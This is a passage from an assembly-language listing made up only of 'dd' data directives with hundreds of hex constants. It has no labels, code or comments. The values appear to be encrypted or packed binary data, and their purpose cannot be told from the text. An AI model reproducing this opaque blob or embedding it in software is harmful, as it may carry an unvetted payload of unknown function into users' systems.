3FC95849h, 570FA463h dd 0C52A6D59h, 1036FEFEh, 0B3123153h, 656B646h, 0FA308915h dd 0DF63424Fh, 98485AB6h, 0B16BFF7Dh, 0CD473223h, 0D739E8F6h dd 112F3BD5h, 74704CCCh, 333293A3h, 7C3810DEh, 19CD34B1h dd 29129FBFh, 0C8D4954Fh, 0FFAE7284h, 2A372404h, 7C0743E8h dd 707E1E25h, 643FA2B4h, 32173CB5h, 3C5B3939h, 18310E2Ch dd 188ECAE3h, 72F7DE15h, 52222205h, 276C0969h, 0C2610FCh dd 6FE27691h, 0B3B8BE05h, 0E683533h, 0CE164D9Ch, 1E5D5D18h dd 0E2A4B25Fh, 51EE5817h, 5B2D4C48h, 0AB222849h, 0AB919CC9h dd 0A0DD2792h, 129C12F7h, 543D2EBBh, 1D16A03Eh, 37AB4E1Dh dd 75CC3ECh, 65682639h, 0EA43AB42h, 18B22CEEh, 0DD3F9513h dd 5830951Bh, 26983A2Eh, 385FAB31h, 0D51F636h, 24A936C1h dd 29DFADDAh, 2C5ED531h, 3471A315h, 27DB6161h, 243E3E34h dd 347DB769h, 0B337D66Dh, 161BE1E4h, 0CB710B54h, 37A6A226h dd 7D2EEDABh, 2B3F53C4h, 0F727CE34h, 137A0935h, 3DBA202Ch dd 73BCB0Fh, 0E12E5C1Ah, 0E5E62094h, 769D3063h, 246944CFh dd 2A2B306Bh, 0E73530A7h, 0B76137B6h, 39B96A34h, 0BC28CDC6h dd 2D8D3E3Ch, 492B1E0Dh, 6B7C111Eh, 2CC0DB4Fh, 3F432BCAh dd 34C08FAEh, 30A19A53h dd 3CA818A0h, 0AD15345Ah, 6C94B237h, 0EAF77222h, 50276220h dd 207A787Ah, 8E702B99h, 40EBAD70h, 343BCAF3h, 0E7818034h dd 333B3564h, 0E43F313Dh, 1F111D13h, 232D212Fh, 2729252Bh dd 2B252927h, 202E22F3h, 3C323E30h, 0F76FE434h, 62E960E7h dd 70D6298Ch, 0CA45FF37h, 23E1D01Eh, 0E0E62CE1h, 0AE7CF52Fh dd 28A8F92Dh, 0F037B687h, 729932B1h, 3BFB82DEh, 0BA8FD5AFh dd 0D909B135h, 20E4BD1Fh, 682AA2B8h, 0BB0ACEAAh, 0C4BC2AE8h dd 0ED35EDA4h, 0F5B6E1DBh, 7B508F37h, 283C010Fh, 1D8E8311h dd 7FA7191Dh, 27C82121h, 0E899662Ah, 803FAEA1h, 3B933ACCh dd 30413183h, 71332777h, 0BC4DEB02h, 483E54F3h, 9C5208E3h dd 0A2090B2Ah, 2DA4302Eh, 0A120A8B0h, 882F68A1h, 629531A5h dd 91C58C66h, 0C4713904h, 3C2CD4C3h, 3E3998DCh, 2421213Fh dd 26D6E2CBh, 0D808EE5Fh, 0C62C2E2Bh, 0BE30319Ah, 56A57217h dd 38381B86h, 3C0E9DD3h, 1C184A5Fh, 12B0F71Dh, 27128B20h dd 0A7C00B22h, 7DEC3F5Ah, 8230EF06h, 0B8B9B337h, 0B13B37B8h dd 1D3D99A6h, 1D18284Fh, 0AC1A0992h, 32532B36h, 0C0156BA8h dd 390BF138h, 603D39AFh, 1624B323h, 2FB9F9C5h, 0DEA8D6Fh dd 9A3329B4h, 1E4E6E0Bh, 7CABD70h, 30A93E84h, 6CD22269h dd 58183AABh, 24BB5E00h, 0BF6A5547h, 3B6A7B2Fh, 873E3A3Ch dd 503D1DEBh, 22D156F7h, 0E4F7221h, 5A2B4236h, 8FBC39B4h dd 16B584A4h, 227A87CBh, 5A6FF804h, 7F35C63Bh, 0B68D1362h dd 0BA01B31Eh, 8F332283h, 3A7E3D22h, 58ECAE80h, 0B0847126h dd 0F63172F6h, 3D989F32h, 2F2C1BDBh, 0ECC4D02Eh, 2746241Dh dd 8A29CD44h, 208B9E2Dh, 9A8FDE6Bh, 0B3DEA52Dh, 0F8B82ADDh dd 1C5336BCh, 0F9D36A25h, 0E41FC0F0h, 2F3A4997h, 716EB125h dd 362E224h, 0C32E296Ch, 4F2F0886h, 730231FEh, 0DF3635CBh dd 0C44C64D0h, 0F1B56DC3h, 66BEF4FBh, 0A7E5DFE0h, 40214279h dd 4C2D20B1h, 0EE294862h, 0F36CD84Ch, 563E3722h, 0BFE07169h dd 0BEB933C4h, 181F1B1Bh, 21316454h, 25D5A868h, 6FA5D025h dd 63C47B2Bh, 7631E53Ch, 72763A49h, 38387300h, 3C6E0B3Eh dd 0C9E410BCh, 0A90FDA9Eh, 7C072265h, 740352A8h, 2C2FD596h dd 5A3D2A2Eh, 0E1CC3331h, 0BB31BF35h, 0FAB832FDh, 6E702E39h dd 0E1E96F0h, 3319E813h, 0C3A22AE5h, 47A71828h, 0A4762D08h dd 8D33314Dh, 37773AA2h, 1B3B0F18h, 7D1E3FFCh, 0CE7F0C6Dh dd 2158C84Fh, 0A460D412h, 3BA27B36h, 0AF320C93h, 0B4180E25h dd 34B58C39h, 323F163Fh, 1E2D71B6h, 1D4A45D6h, 0C828528Ah dd 26A47520h, 0D748A2ADh, 7D04D4D5h, 1BB309C6h, 6ABC3060h dd 62656916h, 333DFFBBh, 609BBFFDh, 2F1B0D39h, 6E03C2A4h dd 822C422h, 122AA2Eh, 302B2845h, 334C3033h, 37361F11h dd 5C3E99BCh, 3A1F583Ah, 3B4A9636h, 0E311310Ch, 4586234Eh dd 0BA2B4334h, 450A2D8Ch, 123232ACh, 0BC7F813Ch, 2EDAF8FBh dd 7FFD6FBEh, 179DDB63h, 0A1F9037Fh, 1DE428A3h, 29F12307h dd 4E116DF6h, 2C145236h, 761FB6C5h, 0FB39230Ah, 0FF3639DAh dd 753857B4h, 21E31C7Ah, 4B22CB4Ch, 48FB1027h, 9E6C19AAh dd 31F00B0Ah, 7D346364h, 6B69232Eh, 0FD50737Ah, 5413573Fh dd 70251E8Ch, 768196A8h, 1CE7F5DAh, 46664E68h, 7C77F2Eh dd 54BE20F1h, 0FCB4B639h, 3D7A5A1Dh, 0FF3B34Eh, 9E1A3D95h dd 23F22D24h, 0AF506435h, 6BA325A5h, 5B532C02h, 4E320C10h dd 120AB514h, 3B14075Ch, 3C213935h, 54182A1Ah, 61727B19h dd 7B056A62h, 7A60081Dh, 25E8B2Bh, 5D61100Fh, 4344041h dd 3E9C4B5Eh, 1F363465h, 0C01C3E05h, 0A1991F4Dh, 574C5702h dd 284C4643h, 0ACC81C2Ah, 6628AF7Dh, 0DD2004B2h, 3B39373Eh dd 6AC47FBAh, 0E21D78D6h, 3B9F715Fh, 7373ECAAh, 0DE9E26CDh dd 0A77CD5D4h, 1ADC6F5h, 0BD6437B1h, 0B91EDE2Dh, 6B032A3Eh dd 1AFE1FD5h, 1DF64C14h, 775CE0EEh, 0E3A50D00h, 963E3918h dd 7EC72CD1h, 18CDCF3Ah, 598F3FCBh, 3754844Eh, 6A6D054Ch dd 76C62F9Bh, 71A1231Fh, 0C4246FE3h, 0C112C069h, 0E0940A2h dd 6F284557h, 27A57853h, 2B5D3A76h, 3E9D7923h, 51990BFCh dd 1E10333Ah, 6130A766h, 77EBADD9h, 0FA0A071h, 551A0E0Ah dd 20F43EBBh, 99CD6FF2h, 3C1CF83Ah, 0AD1B4F6Ah, 0CF1E7744h dd 242C1D67h, 2828262Ah, 2C242A26h, 2CC36ED2h, 5C656171h dd 0A836360Ah, 2497520Ch, 0C92EAE01h, 83F590Ch, 14A71F8h dd 0CE1A9818h, 5C171114h, 1289102Ch, 0D6B0CD1h, 46097524h dd 0C205F807h, 3EAE27BCh, 2E040A18h, 102F1076h, 0D2162443h dd 931FB112h, 196D3C1Dh, 5D0075Fh, 37A1F449h, 3200137h dd 7800554h, 5C260B32h, 36A04624h, 0E6004B32h, 9D676428h dd 6C040F36h, 71A5AF3Ch, 0AFDC6220h, 2B7DDE54h, 0BDE70834h dd 9718F8AAh, 383B8A35h, 76A72C60h, 30E1A577h, 1C7D7861h dd 0BB132A29h, 0A3AC6CF2h, 37397937h, 3F3B3539h, 9881313Dh dd 0CF0E0F3Fh, 714023E2h, 0A2292450h, 7B21D91Fh, 2FA2213Dh dd 0B1283032h, 0FF23CA34h, 0FF8A3D09h, 4ECEB638h, 6288C05h dd 740132DFh, 0BCD0AAAh, 2CA260E6h, 3223DC2Ah, 0BC3EF514h dd 363535C7h, 2E57B535h, 36CD41B8h, 8F126E3Dh, 24627FF6h dd 7C7CCBECh, 3D892757h, 31DD3628h, 5B2CDC86h, 0C40A1179h dd 25CC1F2Ah, 21CED448h, 9D31A2Eh, 0C91E3E43h, 0A90B9254h dd 0A9920CAAh, 26AF2623h, 4525AC23h, 3E644566h, 32662395h dd 0E87B5B8Eh, 0C071BF2Ch, 5C6A785Bh, 534F214Fh, 55435151h dd 463E4866h, 0C64C2D49h, 56641731h, 5E457546h, 437F5757h dd 3F3A753Ch, 71715B19h, 6F4D417Dh, 49484123h, 5E7A5155h dd 5B596C4Ah, 8B33305Ch, 3E667832h, 3A715C43h, 3E58508Dh dd 9DF43712h, 21DFE2CEh, 0E94C2148h, 2828636Dh, 0E3352987h dd 0BB023AEh, 90EB372h, 0D680DB4h, 39F5CBD2h, 2D988828h dd 0BBF79221h, 202313A1h, 0ABA5CE31h, 0C427A20Ah, 64342F54h dd 29330215h, 51351A17h, 3F82D225h, 1A6D003Eh, 3D1F4C20h dd 230B6013h, 0E77DF25h, 74D5F8C3h, 202E2205h, 3C323E30h dd 38363A34h, 9E3A3638h, 0AEA77DCAh, 4FE10CAAh, 287F6615h dd 5F2725F6h, 28692A26h, 2C220A29h, 7C75322Fh, 23768048h dd 3A9C7BDEh, 8213C0Dh, 2B302D1Bh, 1D20292Ah, 69126714h dd 291E7310h, 1B481D76h, 7441942h, 0B1024F32h, 0AD0EBB00h dd 0BA03B0Ch, 2AB7099Ah, 9C1F28A9h, 2C15E617h, 8100212h dd 1B7F1D11h, 0BC634E71h, 3A73206h, 0FF3019Dh, 237B2EB4h dd 0F36C6C6Ch, 79C183Bh, 2BE52274h, 2724B5A6h, 0A02A75E4h dd 2B0A692Ch, 43DFD960h, 6EC905CBh, 4F3B3DFAh, 6A6D1D31h dd 3A71971Bh, 56AA760Fh, 0AD352407h, 5EDC13FEh, 0A52D7B0Ah dd 642D1453h, 32FEBF64h, 7A3A382Ah, 2BC26E2Bh, 965F1BD7h dd 0D7209AEEh, 21A1A52Dh, 297B2526h, 61A17C7Fh, 0DDD81B0Ah dd 2FB7043Ch, 0B87934h, 573F3BD6h, 9C4B702Ah, 0B9FEA36h dd 60202220h, 66A57DCDh, 0ADD3A131h, 5A6F173Fh, 5E3E5821h dd 9C26B67Ch, 0F024BA11h, 4A270C3Ch, 105DC8E3h, 66564F62h dd 2646279Bh, 0A62DA22Bh, 872DF77Bh, 336061E8h, 1DB7A913h dd 330F8F8h, 0FEEBC26Ch, 5C1EDD15h, 2005B455h, 7734E49Bh dd 0E63CD775h, 2F2F2CF1h, 0B10577A4h, 353A01FCh, 59C70DF3h dd 0BF22A6Bh, 28D31830h dd 222F2AD1h, 72E32E01h, 0DB29D829h, 47C47B35h, 2AE1384Eh dd 2A3F1E35h, 693B2735h, 3F3F13D2h, 481A3F72h, 41D0134h dd 2003D229h, 0C07676D5h, 7D26EA77h, 3F22A528h, 6A3D2E77h dd 4A2E2FB4h, 0FC092DB9h, 0D3F78B5h, 940B5B94h, 23723966h dd 0FBAE30DBh, 8593282Ah, 2F6AA1ACh, 2B74F631h, 8606A8B6h dd 0BCC5C7D1h, 0B41E301Fh, 0B59D1DDAh, 1130AA1Bh, 2635ACEAh dd 0A32D60AEh, 66A42463h, 4F71B1F3h, 3E003533h, 6B490002h dd 16B25C6Dh, 0FFFC33BFh, 71D40739h, 284D67Ah, 0E90F05AEh dd 0B8A0D85h, 4BE17E3Fh, 59035792h, 1E584301h, 67472DBEh dd 443D1736h, 5BD3BB2h, 14062AC1h, 3703A972h, 3C7B3E79h dd 226AE92h, 1487DBF1h, 50353633h, 9E2ABAADh, 1B3E3EA1h dd 1BDA9E1Dh, 73265A9h, 23E6A030h, 205E260Dh, 0C7E6A62Ch dd 0CCCC6704h, 0DCCE05BFh, 19380A3Ah, 0B26F61B8h, 0F60C533Bh dd 0E21740Dh, 6EA50077h, 780F67AAh, 0AFB92E7Ah, 0B635822Fh dd 7E7F3516h, 1F0D3911h, 1B5ED03Ah, 8C77CB3Eh, 0AD213E1Eh dd 0B4542204h, 612DC626h, 0CF2CAA01h, 3015172Bh, 0C5351522h dd 2BCD9C54h, 7C8C3BBBh, 1D3EAB3Eh, 7A1F9F6Dh, 74236349h dd 2BA62664h, 0D3AED2A2h, 7FABB222h, 2D993751h, 7ADF2F15h dd 2B2B3698h, 0FF6DF6B6h, 79F6100Bh, 0E32F2043h, 0C74E4123h dd 78EA2C69h, 7CEF4A91h, 29176A11h, 797B0DCh, 0A0100CD8h dd 3DD193Ch, 0B41C3C3Bh, 0EA66C972h, 0E7613A2Eh, 3E962828h dd 3C763DFAh, 26803508h, 3A5F7416h, 4C3BC1B4h, 2DEC2B35h dd 0AD7DAE9Eh, 0A8085195h, 0E5172B1Ah, 183734FCh, 26509E2Bh dd 37286E5Fh, 1A943C8Ah, 85D8FAE6h, 3C3C3BFDh, 0A4443F28h dd 0E89C1D5Dh, 2DB3E1DEh, 3E276E76h, 6878286Dh, 334CC669h dd 1EDB0E62h, 7C136536h, 6F3834D1h, 183AD609h, 0F71E5914h dd 0DCDFEADCh, 727259Dh, 9328292Ah, 0A22E2D6Dh, 5716314Ch dd 531261B9h, 532292CBh, 0ED3E3C3Ch, 0F629471Ah, 20E622F8h dd 0AB1EA457h, 0C27E0459h, 1E6B7C12h, 8A3D7EA4h, 2FD57583h dd 4701F00Ch, 61CD6B21h, 145C07EFh, 2BA0A7F6h, 274EDCDFh dd 329AE5CEh, 0C57B23DAh, 1030DF86h, 6512F27Bh, 0FA30CF92h dd 4C20CB65h, 1331703Eh, 0AB1F111Dh, 2CE7A121h, 2260AF43h dd 68EC2A4Fh, 302D2209h, 35375830h, 3827365Fh, 3CC45238h dd 18553D3Dh, 4B971F76h, 230A2304h, 27271910h, 2B3FD62Bh dd 2E2CF148h, 0CDB1C1BBh, 3E43CA34h, 0FB316767h, 0FBBD3D67h dd 5A90DF0Bh, 213E1962h, 662D2733h, 0B600483Ah, 208D0AC3h dd 313E3310h, 35353017h, 0FB023057h, 1ACD2D4Fh, 1D2E037Fh dd 0E1A32F97h, 50E51826h, 4976D20Ah, 792ED56Fh, 45E12DDAh dd 71B52530h, 0C549BC60h, 393CD2B9h, 271FD7BDh, 405A5D7Ah dd 9EC28220h, 68D8A3DDh, 0E42FA9B8h, 772B8DD2h, 0B7C5013Dh dd 39370E35h, 74B0314Dh, 0DBBC3E39h, 0D69B5B18h, 0CB06D455h dd 6994E50Fh, 0C330C97Eh, 0D15E2DF5h, 3F7DBACFh, 3FD6F1B7h dd 0B0BB2DB3h, 1C010F59h, 9C38F44Ah, 0A6050A16h, 2FA5262Ah dd 0BC3D0966h, 3A0C717Ch, 1338B47Dh, 523CB259h, 7F3C31B3h dd 1E282E5Bh, 0E761E2Bh, 6164013Ch, 0CD742148h, 20E9FFF1h dd 24E83E02h, 0C239EF2Dh, 0C0BA5673h, 2730223Bh, 2B35F2B4h dd 103F7BB3h, 0DC2F1E75h, 76222263h, 0C7F5AACh, 0BA2BA30Dh dd 30035F2Dh, 343302A6h, 22D0DE31h, 286CC5C4h, 513D75D5h dd 6A971E0Ch, 6722AA07h, 0E1A51100h, 537C7924h, 2E332AC4h dd 34AC3028h, 0DC133457h, 183A3DBAh, 0BE36DDB5h, 1D1DBFDDh dd 6C146CAh, 4052D00h, 2309842Eh, 16D9460Bh, 0E5B7570h dd 1BEA02B0h, 3A203828h, 4FD1BD07h, 8175B15h, 0DE2CFF35h dd 25D86137h, 3CD77702h, 8C2C4BD2h, 0F140EF22h, 0B146B338h dd 313B37C1h, 3D9E6ED7h, 0FE1B9E12h, 0F1BB1EBFh, 2788F527h dd 0E4278727h, 8DCF2A8Bh, 308DEF2Dh, 3492CE1Bh, 64379483h dd 8F193959h, 4C94D73Dh, 9293E2E0h, 0DC8E81BCh, 2586CCDBh dd 7B2B9D88h, 7F2CB806h, 0B96230D4h, 9A221D36h, 0FB213D87h dd 2EFDF727h, 2B9DCE12h, 87D1EC22h, 0E24AE740h, 352D3723h dd 0BE29392Fh, 7BD6343Fh, 35E533AFh, 36C92947h, 9CD56D6Bh dd 546AA2B5h, 6852146Eh, 24C426E3h, 3228E766h, 23EC299Ah dd 35675F7Ch, 9D10BF33h, 36383836h, 323C343Ah, 1C14C03Eh dd 20101E12h, 242C222Eh, 2828262Ah, 230C2A26h, 3F2F212Dh dd 0A459FE31h, 3874A0B0h, 9D5F3B39h, 7F6F3A3Dh, 1F3B941Ch dd 0A8747024h, 53AF65D5h, 0F3C22D0Ch, 2F60930Dh, 1776F625h dd 675663AEh, 0D0713D6Ah, 74368796h, 0E561868h, 2A35631Fh dd 261246Eh, 7A2D420Bh, 9067C8C3h, 3232D726h, 3734347Eh dd 0D091B679h, 4BBB3F3Bh, 3E3412A4h, 25825114h, 1700A2Ah dd 0BB5E266Eh, 1D260228h, 3134062Ah, 7036AD37h, 0C99E23D3h dd 5A59593Bh, 89733FFEh, 0A07A127Ch, 2702E725h, 2920424Bh dd 3D09DA7Bh, 377F4344h, 51258299h, 555D4225h, 0AC1E1A49h dd 7427523Fh, 1FAE7A72h, 45207D10h, 53432543h, 662B295Bh dd 6C0E7B7Fh, 17F6B233h, 2B74F7B5h, 69F5B939h, 369A29D4h dd 15B93917h, 0CA21C11Bh, 36BAC694h, 0C2E678ACh, 2CCEBADFh dd 0FF31D2C3h, 0D7D1DC1Fh, 0E1379937h, 6A553D3Ah, 0A112BED6h dd 392EAC8Dh, 2B242AC2h, 0F63F5987h, 682C3457h, 5B3F26EAh dd 29F48634h, 2031B73Fh, 20B83138h, 0A9113DB9h, 201B0398h dd 2E23812Bh, 29A23BA5h, 262F8F3Dh, 0F6252713h, 2220D7E1h dd 35B93CB5h, 21FA2EDBh, 0F36E2DDDh, 0D50DF725h, 762BE125h dd 56B036C5h, 36EF0E69h, 2E5E7F7Dh, 33334080h, 0DFB5C571h dd 0B82A4D3Ah, 4A3DD53Ch, 3A49912Ah, 0A29E8447h, 2FCE2892h dd 9B5D2895h, 3A5D352Bh, 265EF01Ch, 158C2050h, 93AB837h dd 1A81B1FBh, 1112FB23h, 21C1B4EDh, 25B423E2h, 828AD425h dd 2DADA380h, 5F30AE56h, 0B45033B3h, 0B8629D36h, 3DBD713Ah dd 241BBE7Eh, 0CB51E9Ch, 258522A0h, 23E6E437h, 7E2A0BB5h dd 552FAE9Fh, 72321301h, 9D6B36B4h, 3C8D09F8h, 7A9F1308h dd 1F9E897Dh, 232D0C60h, 4720A526h, 0EBFE3CBCh, 30457228h dd 34322E30h, 3729352Bh, 7FB1392Dh, 3BF3918h, 371DD0F7h dd 5340507Eh, 9D3554C1h, 0D94468E6h, 6AB5A58Eh, 0A9110A8Eh dd 0A25B3476h, 0D6B807B7h, 8A3F3D77h, 9128182Eh, 0D43633Ah dd 261CEE26h, 0A22813ADh, 0D21DC52Bh, 31CCEF1Fh, 41D40B9Eh dd 34F7F631h, 0D6FB3A3Ah, 386704CAh, 0C16A1E39h, 250778AAh dd 0A32740CEh, 76A06125h, 30C42F31h, 35B836BAh, 1C73BFDDh dd 0FE5A2639h, 0F03E3E35h, 1B1E1DE2h, 0D176E5A1h, 2729DA24h dd 2B252927h, 2F212D23h, 333D313Fh, 38C9353Bh, 343A3638h dd 303E323Ch, 111D131Bh, 63212F1Fh, 0AD742424h, 0A537C32h dd 0A53D7A0Fh, 0D2B7BBDEh, 2EBDBF01h, 12408B6h, 7F3A40EAh dd 9D1CB9B6h, 0EFAB1995h, 1703410h, 23497702h, 0E300C33Eh dd 0D43A4F24h, 24E71B33h, 5412DF25h, 0AD6C396Bh, 3D0A4F2Bh dd 8911F631h, 24B22071h, 0C0332421h, 0C54A265Eh, 4EC73D3Eh dd 5221C2CFh, 156DDE31h, 5C5727ADh, 723CCFBAh, 0B0B1EE7h dd 2727520Ch, 583621D4h, 813A792Dh, 3D3E7C78h, 4336344Ah dd 32461B31h, 0F70D4095h, 3A6E1E8Ch, 4A184E3Bh, 12D8254Fh dd 697A1C14h, 2508E710h dd 212D232Bh, 323E0F2Fh, 363A343Ch, 1F783833h, 3F3D1A3Bh dd 3B0CA939h, 0AA801B58h, 76EC082Ch, 0B5A3E6A6h, 37EC2A3Eh dd 313469E9h, 87DC6436h, 353271D0h, 7C5ABBB1h, 145B3E36h dd 21E49D1Dh, 0E2A00654h, 0C0714E35h, 3C39A417h, 3A2D7D6Dh dd 26B2B321h, 69363678h, 93D39D1h, 17E38CFh, 0C9A0F6DBh dd 232D308Fh, 2729252Bh, 358A3CA0h, 28BEB805h, 2335A128h dd 0D60D0495h, 0ABFF11CEh, 0FA7F5423h, 0CE19385Fh, 3430001Fh dd 27375506h, 3F292C32h, 0DF7F2D2Bh, 0DA05317Fh, 0C700E482h dd 0AA9C0839h, 2B0DA93Bh, 0F550196Eh, 0A12EAF45h, 15FE9364h dd 0C9A1DF65h, 8DD3AE2Bh, 0B53F3762h, 0B6022433h, 7EA87A76h dd 0BD224AC3h, 70E4683Bh, 227F8608h, 44832241h, 7F67F525h dd 0C2F8A36h, 0D02E5F6Ah, 2C3CB2BAh, 3933368Ch, 0FC71AA3Dh dd 1EE2D615h, 0FF16187Dh, 33A90423h, 0ECE742Ah, 68ED2ACFh dd 2B13220Ch, 66A63180h, 0B46135C7h, 534E7DFBh, 6C2ECCE4h dd 9AEE8C79h, 88590689h, 0B53D84F0h, 6B842866h, 2E6CEB2Bh dd 3D169FD0h, 39353B33h, 35393737h, 50396939h, 6F29DB5Bh dd 454E6A71h, 6E1C2679h, 21A11D2Eh, 832633AAh, 5E306736h dd 40641346h, 4F4D4444h, 0BE6E7B53h, 10952E32h, 2CDF1A97h dd 28FA2B29h, 6F875676h, 6465765Ah, 6C4D62CBh, 6F3F3852h dd 727637D0h, 1265EE4Bh, 4145B62h, 4A1E161Ah, 0A63276A0h dd 6650C82Ch, 5FA12F9Ah, 782E2108h, 0CCCDCF8Fh, 3777B8CBh dd 8C3123Ah, 0B5EC0EF5h, 941C749Bh, 2AABDF4Fh, 0E70521E3h dd 0E02220C6h, 0D47D2D3Bh, 0F1F7B32Bh, 0CA7BBD33h, 3B395017h dd 3D6C395Bh, 1CFE8AEFh, 0A1231FB6h, 3BA4075Eh, 0B4AD282Ah dd 2ECD282Ah, 6D5837FEh, 0BD37DB0Ch, 0C283664h, 6F3FBF3Fh dd 9FE3A9AFh, 226BE1E2h, 26205353h, 384D4D50h, 3D1F2C41h dd 14265E2Eh, 46DB6266h, 1FD0FF6h, 5D503DEh, 217A0414h dd 25762749h, 18341BF0h, 1C1C1E0Bh, 105B127Fh, 14FA16B0h dd 0F310AC0h, 0B080906h, 7BA0577h, 39901AAh, 22A920B6h dd 1EE11CA6h, 1ACF18F9h, 172014D6h, 13161107h, 0F660D66h dd 6B76347Ah, 6A623C37h, 683D7569h, 40594F7Eh, 400E1C1Eh dd 44483A62h, 49581D48h, 652C6689h, 115F472Ch, 255D372Ah dd 39B80B71h, 3E3C0539h, 15FB0203h, 51F2EDCh, 7C110C13h dd 368623B4h, 2E378B66h, 502F5F0Dh, 74DB6231h, 0C7C8E594h dd 3CEEF960h, 1BED6FAEh, 0DE129091h, 214A8B23h, 254C705Eh dd 5F284D44h, 0ADAD2BCDh, 22670D35h, 37944D37h, 563B689Ch dd 6AFA3D9Eh, 667F1B8Ah, 265B121Bh, 22215007h, 112B4972h dd 5F792F39h, 0F85ED18Ah, 3EBE3E53h, 0EAB0AC46h, 5B0D253Ah dd 59C0BD7h, 0C92852BFh, 2F3442D7h, 165CE7A2h, 2E9D399Bh dd 37D82B7Eh, 3DBF2F12h, 1D21F6B5h, 179C29D2h, 1D4AFFBBh dd 0C8835A69h, 343F933Fh, 0F94DB726h, 9E28CFF5h, 82F3AF27h dd 0BAB939C1h, 0BE28E480h, 9EFF25E8h, 0C220EB34h, 0FF53170Ch dd 28D26931h, 264C26C5h, 67A62ADCh, 2CDEFD08h, 0F300ED90h dd 0CBB7E9F7h, 3A3AF5FCh, 3F31ACC3h, 1E121C14h, 2DDE2010h dd 29252B23h, 25292727h, 89982419h, 32939A2Fh, 61AA32E1h dd 5DAD9236h, 3E9AB538h, 6E1E1C41h, 498A1E49h, 22792385h dd 287F7524h, 782C896Dh, 560C3C6Dh, 35930233h, 22389010h dd 2D3C9C6Fh, 0BDD73F9Ch, 21481B1Dh, 82AE88DBh, 2880C925h dd 2EA933ABh, 32A80328h, 0B05F72CBh, 3AB7D937h, 0FE166281h dd 8F1992Eh, 1AA59CC9h, 49CB385Fh, 8F29E494h, 0FB4226EAh dd 0A4222923h, 0B33E36E5h, 35D63935h, 372A0134h, 61685EBDh dd 1FDD3B9Ah, 6C20E449h, 2F925E1h, 2AF8B227h, 0CD2DF9F7h dd 0FC31E18Ah, 351934E6h, 0EFF938E7h, 0EF48963Bh, 1DC9A93Fh dd 8520CEA0h, 227023F7h, 0BF28F722h, 0FC7C2BFFh, 0E465A72Eh dd 35E5AA32h, 0DB38E24Ch, 64503BEBh, 19303FEBh, 20CA34ECh dd 7423F355h, 16E554C7h, 2E2B7AB6h, 11763C67h, 76878736h dd 36E3717h, 0AE5D27DBh, 6A3F9F1Fh, 0B31CDC7Bh, 72340B9h dd 2787EF93h, 2B8BE56Ah, 0AEB722D1h, 31894936h, 0D9079496h dd 9F3B78F8h, 3AFF5B75h, 1C1D069Fh, 86250210h, 76334E20h dd 8223B72Dh, 5F110867h, 21C3F203h, 1F19700Fh, 0E4D13DF7h dd 9EAB617Ah, 684E4B48h, 58591A6Ah, 205E2227h, 7F82DF9h dd 7D3C9B40h, 344345C6h, 0E53739E6h, 48BE853Ch, 0FC80B53Fh dd 3D1E4B25h, 89CB1B64h, 2FF3AD26h, 2CE62954h, 61A02B48h dd 3219EED5h, 0BF3A520Dh, 0F534327Ch, 51C916D1h, 1ECF4FECh dd 951BED20h, 0E1A82131h, 3B53321Eh, 5F0AE9ACh, 2E7FA738h dd 326531F0h, 0B43840B4h, 0FCB93BF9h, 4A3E53CCh, 0F5DD2FFBh dd 6B158F2Bh, 41104516h, 5F1C4612h, 0AC18571Eh, 0A104BE1Ah dd 9600AF06h, 940C9D02h, 87088F0Eh, 0DB29DA0Ah, 2715CB2Bh dd 65122814h, 0A31E5710h, 0DE1AF21Ch, 78083719h, 6C0C620Ah dd 5000560Eh, 44044A02h, 9523BE06h, 0AD4FE1E2h, 25F306ADh dd 5C27B551h, 34C72AAAh, 54A6E2A6h, 64331615h, 0C7BA37DDh dd 7CBFFCC6h, 1B3C4E19h, 5B1E4E1Eh, 23202B40h, 63205560h dd 2BA60D8Ch, 0C77E2E9Ch, 331231EBh, 0F36050Ch, 0B36C397Dh dd 0D76A6B3Ch, 3A59DBE4h, 2220280Fh, 0E0A52520h, 2A650C63h dd 52C52D2Bh, 6FCECE78h, 69F3BF33h, 76B26369h, 5A093C1Fh dd 191C16B6h, 6124DB9Dh, 0D6623E1h, 0D7717BCEh, 2F97D42Ah dd 6DB92C2Eh, 0CA7C3316h, 3BE09323h, 0C23C6B3Bh, 18181B02h dd 3F25A106h, 4E233321h, 0A4F2EDAh, 488F8A9Ah, 302B2E8Ch dd 11BA5661h, 0D4B63235h, 225B763Bh, 0AFB4686Eh, 1F9D7938h dd 1F3A2121h, 3015CD72h, 0EC2A8808h, 2B4E09A8h, 7FDA3730h dd 5E54287Ah, 0E3B03A19h, 3866327Ch, 3D9E135Ah, 26232F54h dd 0E572CD2Ah, 22E8AB18h, 0B61C579h, 3131AB6Eh, 0B30B9EDAh dd 3BB9DC36h, 133CB90Bh, 3FB65D1Eh, 0F0561EBBh, 25F13722h dd 7B28F699h, 252CFE2Ch, 0C930FF2Ch, 60652437h, 0ECD237E7h dd 28C3555Bh, 0EC8C1E42h, 0D53D5F5Ch, 6C4B0054h, 0B4703D2Fh dd 2F4848C1h, 335BEDDCh, 19218EB2h, 7942772Dh, 809BA159h dd 1AF72BC2h, 0DA251FDFh, 563667A9h, 23084808h, 5B2E0909h dd 2FDDE92Ah, 32BE1F8Ch, 49BF0036h, 381A9105h, 0FC2AEE0Fh dd 3C4CC539h, 23D176F7h, 664B3147h, 0A3564934h, 0DEA62FFBh dd 0CD9E361Ah, 824A55CDh, 56A180B3h, 0CB071C3Fh, 18E60C3Ah dd 24DE2B64h, 0A33F43DAh, 0AA46B625h, 2DE91729h, 32309B2Dh dd 35ECDB07h, 2BB85FC9h, 0B6373B55h, 4CAA3FF6h, 289DF61Ch dd 0AF3792A2h, 0A87BAEDDh, 0FA1A2A09h, 0CB14D1D3h, 9233B63Eh dd 0FDB43535h, 3C2E506Dh, 19132DD5h, 0DB9D1C1Ch, 67AB25A0h dd 0E41D3500h, 672A30A8h, 0A427592Eh, 0B33DD9F8h, 0C8240D34h dd 0ECD23938h, 73B57D3Ch, 94251C3Fh, 467F7BDCh, 262529AAh dd 16EDAB23h, 3A2D3CE9h, 3239A02Eh, 8E3508FFh, 1A393937h dd 98D53E3Bh, 3D1C1902h, 5AC941Fh, 0A8282336h, 310C23A2h dd 7C7C2D2Ah, 35147BA3h, 6BB91512h, 0F6B3B76Eh, 0D55155B7h dd 3C1D7F55h, 0C8D4954Dh, 0E923C042h, 0C97C00CDh, 0C40ACA29h dd 582E2F7Fh, 645033A5h, 0AC04DE13h, 78B1C5C4h, 841FA9B3h dd 0BF869B96h, 4B6A7020h, 0B006B9E1h, 7AEBA6C0h, 2FB72DBAh dd 0D33A59A0h, 0D28637B1h dd 0F3813159h, 0DA2E2539h, 